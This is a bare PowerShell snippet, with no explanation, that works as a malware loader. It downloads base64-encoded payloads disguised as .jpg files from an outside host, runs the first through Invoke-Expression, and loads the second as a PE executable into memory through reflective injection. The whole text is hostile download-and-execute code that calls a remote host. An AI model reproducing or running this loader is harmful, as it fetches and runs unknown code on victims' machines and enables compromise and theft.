$Base64Bytes = ((New-Object Net.WebClient).DownloadString("http://cdn.comenbove.com/powershell.jpg")) $PEBytes = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Base64Bytes)) Invoke-Expression $PEBytes $Base64Bytes = ((New-Object Net.WebClient).DownloadString("http://cdn.comenbove.com/xxx.jpg")) $PEBytes= [System.Convert]::FromBase64String($Base64Bytes) Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR